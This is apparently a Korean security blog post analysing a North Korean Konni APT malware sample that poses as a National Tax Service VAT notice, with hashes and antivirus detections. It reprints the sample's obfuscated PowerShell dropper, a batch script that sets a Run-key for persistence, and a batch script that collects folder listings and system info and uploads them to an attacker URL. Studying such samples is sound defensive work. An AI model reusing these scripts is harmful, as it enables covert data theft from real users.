꿈을꾸는 파랑새

오늘도 우리 북한의 해킹 그룹인 Konni(코니)에서 우리 국세청으로 속여서 만든 악성코드인 VAT.hwp(2024.6.13)에 대해 글을 적어 보겠습니다.
2017년 Cisco Talos 연구원이 처음 발견했으며, 2014년부터 탐지되지 않은 채 고도의 타깃 공격으로 하는 북한의 해킹 단체 Thallium, APT37과 관련된 해킹 단체이며 Kimsuky(김수키)일 가능성도 있는 단체입니다. 그룹은 북한에 본부를 두는 것으로 추정되며 한국과 미국의 정부 기관 및 조직을 표적으로 삼는 것으로 알려졌으며 북한 해커 그룹은 피싱 메시지나 이메일을 통해 Konni RAT를 배포하며 공격자는 Konni RAT를 사용하여 피해자로부터 정보를 수집하고, 스크린 샷을 캡처하고, 파일을 훔치고,

원격 대화형 셸을 구축합니다. KONNI는 러시아, 동아시아, 유럽, 중동의 정치 집단을 표적으로 한 다양한 북한 공격 혐의와 연관되어 있으며 이번에는 국민의 세금 성실하게 가져가시는 대한민국 내에서 발생한 내국세(지방세 제외)를 징수하는 기관인 국세청으로 속여서 악성코드에 감염을 시키는 방법을 사용하고 있으며 해당 악성코드는 부가가치세 수정신고 안내로 돼 있으며 당연히 악성코드입니다.
옛날에서는 링크 클릭해서 피싱(Phishing) 사이트 로 유도해서 개인정보를 탈취해 가는 방법을 사용하고 있지만, 최근에는 hwp 링크인 것처럼 이메일로 보내어서 악성코드 감염을 통해서 개인정보를 빼가는 방법을 사용합니다.
뭐 보니까 종합소득세, 암호화폐(가상화폐) 자산 신고 등으로 위장하고 있습니다.
일단 압축 파일 해쉬값은 다음과 같습니다.
파일명VAT.hwp.zip
사이즈191 KB
MD5920a9b49033cd7a7c0406cafc303365e
SHA-14f24f14172d80b76641b1ff6fe62e677de480fcc
SHA-256c1035adf7de5a8318e9e45eacc3e8a077abe7a576547cbb67bced9ca3a00af66
이것은 압축 상태라서 1MB도 안 되지만 해당 파일을 풀면 해당 악성코드의 파일 크기가 증가하는 것을 확인할 수가 있습니다.
파일명VAT.hwp.lnk
사이즈52.6 MB
MD57bb236041b91d4cd4fa129267cf109c3
SHA-1b3a3e365a0e3c606bb9d7c123f9308e05bff8dd8
SHA-2565bcfb56c4c884e3657bbfeacca37853113d640b77dff9af519c08c4b64ca029d
입니다. 

악성코드에 포함된 파워셀 코드
악성코드에 포함된 파워셀 코드

악성코드 코드에 포함된 파워셀 코드

c p^owe^rshe^l^l -windowstyle hidden function qrimn(p)VhAd{para
m($B(y)imtb(m)yEg,$kNeZQMh(N)GyPy,$Eg(b)vteukmW,$Hzi(P)goYBSPP,$LnM(q)RS
oGrHUl);^#remandment mani(f)oldly#^ $GwkiD(U)HMjE=New-Object ^#r(a)shbuss
unwinnab(l)e#^System(.)IO.FileStream($Byi(m)tbmyEg,^#(p)achomian stremmas
#^[System.IO(.)FileMode]Open,^#snu(g)ify coordin(a)teness#^[System(.)IO(.
)FileAccess]Read);^#styl(e)t enomota(r)ch#^ $GwkiDUHMj(E).Seek($kN(e)ZQM
hNGyPy,^#pen(t)actinal amble#^[System.IO(.)SeekOrigin]Begin);^#pred(i)sa
dvantage anisocratic#^ $cKTwlnwsNcq=N(e)w-Object ^#un(s)educible non(p)e
rpendicularity#^byte[] $EgbvteukmW;^#coronadite s(p)iraloid#^ $GwkiDUHMj
(E).Read($cKTwlnwsNcq,^#uniformest ankylurethria#^0,$Egbvteuk(m)W);^#ta
(b)lespoonful tracking#^ $GwkiDUHMjE.C(l)ose();for($FOalSAHFmDqf=0;$(F)Oal
SAHFmDqf -lt $EgbvteukmW;$FOa(l)SAHFmDqf+(+)){$cKTwlnwsNcq[$F(O)alSAHFmDqf]
(=)$cKTwl(n)wsNcq[$FO(a)lSAHFmDqf] -bxor $H(z)iPgoYBSPP;}sc ^#aureoled hero
di(o)nes#^ $LnMqRS(o)GrHUl ^#gel(i)dium mutualized(#)^ $cKTw(l)nwsNcq -Enc(
o)ding ^#teli(o)sporiferous non(j)urying#^ Byte;};(f)unction sIT(q)PCecquhp
{param($X(u)fbRmnzTCYI);^#txt spl(e)nectama#^ $OWiCCpWx(F)ZLj=Get-Chi(l)dIt
em ^#invi(g)ilator past(i)ness#^-Path ^#h(u)mified flocculan(t)#^ $XufbRm(n
)zTCYI -R(e)curse  ^#overl(a)ness satellite#^(.)lnk ^#pomster h(i)tlerism#^
^ ^#sai(l)yard ideo(l)ogue#^where(-)object ^#sto(t)terel sinkable#^(){$_.le
(n)gth ^#serbon(i)an preno(m)inated#^-eq 0x03(4)9AE4F} ^#indemons(t)rabilit
y oralogist#^^ Select(-)Object ^#elec(t)robrasser flambage#^(-)ExpandProper
ty ^#cont(a)cted fishhouse#^Full(N)ame; return ^#o(r)hamwood counter(t)ouch
#^ $OWiC(C)pWxFZLj;^#zoophy(s)ical provingly#^};$qEHFgOjaYnK=Get-Location;$
qkoFVypQqMha=sITqPCecquhp ^#uncriticism oglers#^-XufbRmnzTCYI ^#breakage no
ncarbonate#^ $qEHFgOja(Y)nK;if($qkoFVy(p)QqMha.length^#mac(r)oscopical cros
shatch#^ -eq 0){$qkoF(V)ypQqMha=sITqPCecquhp ^#c(o)smo subhea(d)ings#^ -Xuf
bR(m)nzTCYI $envTemp;} $qEHFgOjaYnK(=)Split-Path ^#overm(e)lted over(d)ilut
ing#^ $qk(o)FVypQqMha;$Tv(R)fwPBxWW = $qkoFVypQqMha(.)substring(0,$(q)koFVy
pQqMha.length-4) ^#phar(m)acosiderite antimasker#^(+) '';qrimnpV(h)Ad -Byim
tb(m)yEg ^#dextro(t)artaric sarc(o)cocca#^ $qkoFVypQq(M)ha -kN(e)ZQMhNGyPy 
^#trochars m(o)delist#^ 0x0(0)001E76 -Egb(v)teukmW 0x00011(A)00 -Hzi(P)goYB
SPP ^#un(c)ongestive achieve#^ 0(x)18 -LnM(q)RSoGrHUl ^#visaing a(g)laozoni
a#^ $TvR(f)wPBxWW;^&^#sympl(e)site lysis#^ $TvRfwPBx(W)W;$pARWiRFyWslt=$en(
v)public ^#underpriced co(l)ligible#^+ '' ^#hunger uncovers#^(+)^#superheli
x imprudent#^ 'Byimtb(.)cab';qrimnpVhAd (-)ByimtbmyEg ^#pictured(o)m yielda
ble#^ $qkoFVyp(Q)qMha -kNeZQMhNGyPy ^#com(m)utable irreleva(n)cies#^ 0x0001
3876 -EgbvteukmW ^#un(e)viscerated moorman#^ 0x(0)0013CDB -Hzi(P)goYBSPP ^#
wate(r)worm hubba#^ 0xC0 -LnM(q)RSoGrHUl ^#unmau(d)linly inculpatory#^ $pAR
W(i)RFyWslt;Remove-Item -Path ^#(e)gracias unde(r)production#^ $qkoFVypQqMh
a -Force;(e)xpand $pARWiR(F)yWslt ^#th(o)mistical noster#^ -F ^#auger invol
ucred#^ ($envpublic ^#punti(n)g capita#^+^#definitions co(a)lescent#^ '' ^#
moneymakers do(g)grelize#^+^#hicks antir(e)storation#^ 'documents');remove-
item ^#acieration impr(a)cticalness#^ -path ^#supern(a)turalised shielings#^
$pARWiRFyW(s)lt  ^#cassius sta(r)osty#^-force;$TdtCmdVzpdm=$envpublic^#capri
n utopists#^(+)'documentsstart(.)vbs';^&^#fatherkin unfl(a)red#^ $Td(t)CmdVzpdm;
 iconlocation (.)hwp

파워셀 설명

해당 PowerShell 스크립트는 난독화
1. 함수 정의
qrimnpVhAd
매개변수$ByimtbmyEg,$kNeZQMhNGyPy,$EgbvteukmW,$HziPgoYBSPP,$LnMqRSoGrHUl
목적
$ByimtbmyEg로 지정된 파일을 여는 파일 스트림을 생성
$kNeZQMhNGyPy로 지정된 위치로 이동
파일에서 바이트 배열($EgbvteukmW 크기)로 지정된 수만큼 바이트를 읽음
각 바이트를 $HziPgoYBSPP 값으로 XOR 연산
수정된 바이트 배열을 $LnMqRSoGrHUl로 지정된 파일에 저장
sITqPCecquhp
매개변수$XufbRmnzTCYI
목적
지정된 경로($XufbRmnzTCYI)에서 특정 길이(0x034(9)AE4F)의 (.)lnk 파일을 재귀적으로 검색.
파일의 전체 이름을 반환
현재 디렉터리에서 (.)lnk 파일을 찾지 못하면 임시 디렉터리에서 검색
XOR 연산 준비 첫 번째 qrimnpVhAd  호출
정리 및 압축 해제
상세 분석
1. 파일 조작 및 난독화
해당 스크립트는 (.)lnk 파일을 찾아 일부를 읽고 XOR 연산을 통해 내용을 디코드하거나 조작
조작된 바이트를 새로운 파일에 기록하고 실행
2. 실행 및 지속성
스크립트는 경로와 파일을 난독화하여 조작 및 실행
공용문서 폴더에 파일을 배치하고 VBS 스크립트를 실행하여 지속성을 유지
3. 잠재적인 악의적 동장
(.)lnk 파일을 검색하고 내용을 조작하며 새로운 파일을 실행하는 동작은 악성 코드 페이로드 전달 메커니즘
XOR 난독화는 페이로드의 실제 내용을 숨기기 위한 일반적인 기술임
결론
XOR 및 구조화된 PowerShell 명령을 사용하여 작업을 난독화하고 특정 (.)lnk 파일을 검색하고 조작하며 결과 페이로드를 실행

악성코드 가 생성한 vbs 및 bat
악성코드 가 생성한 vbs 및 bat

그러면 start.vbs 시작으로 해당 악성코드는 실행하게 됩니다.
여기서는 32013754를 호출을 하게 됩니다.
여기서는 다음과 같은 코드를 볼 수가 있습니다.

60646746.bat 컴퓨터 정보 업로드
60646746.bat 컴퓨터 정보 업로드

@echo off

pushd %~dp0

if exist 71728084(.)bat (

	reg add HKCUSoftwareMicrosoftWindowsCurrentVersionRun v startsvc1 t
    REG_SZ d %~dp0start(.)vbs f  nul
	
	call 71728084(.)bat  nul
	call 60646746(.)bat  nul

	del f q 71728084(.)bat  nul
)

if not exist 71728084(.)bat (
	if not exist upok(.)txt  (
		call 60646746(.)bat  nul
	)
)

if not exist f(.)txt (goto 1)
if exist f(.)txt (goto EXIT)

1

call 23877740(.)bat  nul

timeout -t 57 nobreak

if not exist f(.)txt (goto 1)
if exist f(.)txt (goto EXIT)

EXIT
del f q f(.)txt

코드 설명

71728084(.)bat 파일이 존재하면
레지스트리에 start.vbs를 실행하도록 설정
71728084.bat 및 60646746.bat 파일을 실행
71728084.bat 파일을 삭제
71728084.bat 파일이 존재하지 않으면
upok(.)txt 파일이 존재하지 않는 경우 60646746(.)bat 파일을 실행
f(.)txt 파일의 존재 여부에 따라
f.txt 파일이 존재하지 않으면 레이블 1로 이동하여 23877740(.)bat 파일을 실행하고 57초 동안 대기한 후 다시 확인
f.txt 파일이 존재하면 레이블 EXIT로 이동하여 f.txt 파일을 삭제
이고 기타 bat 파일들이 있는데 그냥 다 생략을 하고 핵심만 이야기하면 60646746.bat 만 보면 다음과 같습니다.

부가가시세 수정 신고 안내 악성코드
부가가시세 수정 신고 안내 악성코드

@echo off
pushd %~dp0

dir CUsers%username%downloads s  %~dp0d1.txt
dir CUsers%username%documents s  %~dp0d2.txt
dir CUsers%username%desktop s  %~dp0d3.txt

systeminfo  %~dp0d4.txt

timeout -t 5 nobreak
call 08874295.bat httpsibbss(.)comupload.php d1.txt  %COMPUTERNAME%_down.txt nul
call 08874295.bat httpsibbss(.)comupload.php d2.txt  %COMPUTERNAME%_docu.txt nul
call 08874295.bat httpsibbss(.)comupload.php d3.txt  %COMPUTERNAME%_desk.txt nul
call 08874295.bat httpsibbss(.)comupload.php d4.txt  %COMPUTERNAME%_sys.txt nul

코드 설명

배치 스크립트는 여러 디렉토리의 파일 목록과 시스템 정보를 텍스트 파일로 저장하고, 지정된 URL로 업로드하는 작업을 수행
1. 디렉터리 설정
@echo off 명령 에코를 꺼서 명령어를 실행하기 전에 표시하지 않음
 pushd %~dp0현재 스크립트의 디렉터리를 스택에 저장하고 해당 디렉터리로 이동
2. 파일 목록 작성
dir CUsers%username%downloads s  %~dp0d1.txt현재 사용자의 다운로드 폴더와 하위 폴더의 파일 목록을 d1(.)txt에 저장
dir CUsers%username%documents s  %~dp0d2.txt 현재 사용자의 문서 폴더와 하위 폴더의 파일 목록을 d2(.)txt에 저장
dir CUsers%username%desktop s  %~dp0d3.txt 현재 사용자의 데스크탑 폴더와 하위 폴더의 파일 목록을 d3(.)txt에 저장
3.시스템 정보 작성
systeminfo  %~dp0d4(.)txt시스템 정보를 d4(.)txt에 저장
4.업로드 명령 호출
timeout -t 5 nobreak 5초 동안 대기
call 08874295.bat hxxpsibbss(.0comupload(.)php d1(.)txt %COMPUTERNAME%_down(.)txt nul08874295(.)bat 스크립트를 호출하여 d1(.)txt 파일을
업로드된 파일의 이름은 컴퓨터 이름에 _down.txt가 추가 된 모습
call 08874295.bat hxxtpsibbss(.)comupload(.)php d2(.)txt %COMPUTERNAME%_docu(.)txt nul d2(.)txt 파일을 업로드
업로드된 파일의 이름은 컴퓨터 이름에 _docu.txt가 추가된 모습
call 08874295.bat hxxpsibbss(.)comupload(.)php d3(.)txt %COMPUTERNAME%_desk(.)txt nul d3(.)txt 파일을 업로드
업로드된 파일의 이름은 컴퓨터 이름에 _desk.txt가 추가된 모습
call 08874295(.)bat hxxpsibbss(.)comupload(.)php d4(.)txt %COMPUTERNAME%_sys(.)txt nul d4(.)txt 파일을 업로드
업로드된 파일의 이름은 컴퓨터 이름에 _sys.txt가 추가된 모습
해당 스크립트는 사용자의 개인 폴더(다운로드,문서,데스크탑)와 시스템 정보를 수집하여 외부 서버에 업로드하는 기능을 포함하고 있으며 나는 너의 컴퓨터에 있는 정보를 원한다는 정보 탈취를 하고 있음이며 당연히 사용자의 동의 없이 수행
해당 악성코드 요약
이메일을 통해서 국세청 사칭 매일 보내고 해당 악성코드가 포함된 압축을 풀고 나서 악성코드를 실행하면 부가가치세 수정 신고 안내 hwp 파일 표시 하고 사용자 몰래 VBS 실행 CUsersPublicdocuments 에서 그리고 bat 파일을 통해서 사용자의 다운로드 폴더, 문서 폴더, 데스크톱(바탕화면) 폴더와 시스템 정보를 수집
수집한 정보를 각각 텍스트 파일로 저장
저장된 텍스트 파일들을 지정된 URL로 업로드

악용되는 사이트

hxxpsibbss(.)comupload(.)php

업로드 되는 개인정보
업로드 되는 개인정보

2024-06-13 231113 UTC 기준 바이러스토탈에서 탐지 하는 보안 업체들은 다음과 같습니다.
ArcabitHeur.BZC.YAX.Pantera.190.B8512955
AvastLNKAgent-HS [Trj]
AVGLNKAgent-HS [Trj]
Avira (no cloud)LNKDldr.Agent.VPYE
BitDefenderHeur.BZC.YAX.Pantera.190.B8512955
CynetMalicious (score 99)
EmsisoftHeur.BZC.YAX.Pantera.190.B8512955 (B)
ESET-NOD32BATTrojanDownloader.Agent.NWV
FortinetLNKAgent.NWV!tr
GDataHeur.BZC.YAX.Pantera.190.B8512955
GoogleDetected
KasperskyHEURTrojan.WinLNK.Powecod.c
KingsoftScript.Troj.BigLnk.22142
LionicTrojan.WinLNK.Pantera.4!c
MAXMalware (ai Score=86)
MicrosoftTrojanWin32ROKRATLNK.DC!MTB
RisingTrojan.PSRunnerLNK!1.F965 (CLASSIC)
SentinelOne (Static ML)Static AI - Suspicious LNK
Skyhigh (SWG)BehavesLike.Dropper.rx
SophosMalPowLnkObf-D
SymantecCL.Downloader!gen20
TencentBat.Trojan-Downloader.Der.Gajl
Trellix (FireEye)Heur.BZC.YAX.Pantera.190.B8512955
VBA32Trojan.Link.Crafted
VIPREHeur.BZC.YAX.Pantera.190.B8512955
WithSecureMalware.LNKDldr.Agent.VPYE
ZillyaDownloader.Agent.Script.10149
ZoneAlarm by Check PointHEURTrojan.WinLNK.Powecod.c
결론 국내 보안 업체들인 안랩 V3,이스트소프트 알약(ALYac)은 미탐지 하는 악성코드입니다. 즉 백신프로그램을 예방하기 위해서 있는 것이지 완벽하게 차단을 못 하는 경우가 있으니 기본적으로 보안 수칙을 지키는 것을 매우 권장합니다.

이렇게 오늘도 대한민국 영토를 불법 점령 중인 반국가단체에서 여러분의 소중한 개인정보 와 가상화폐(암호화폐), 금전적인 부분을 탈취하기 위해서 만들어 놓은 악성코드(Malware)에 대해 간단하게 분석을 해 보았고 우리 Konni APT 선생은 왜 이렇게 몇 년이 지나도 똑같은 수법이고 그리고 꼭 뉴스에 나와야~북한이 해킹하고 있다는 생각을 버리고 언제나 기본적으로 대북관계자, 정치인, 기자 등은 노리고 있고 일반 한국 국민도 노리고 있으니 항상 조심해야 할 것입니다.

공유하기

facebook twitter kakaoTalk kakaostory naver band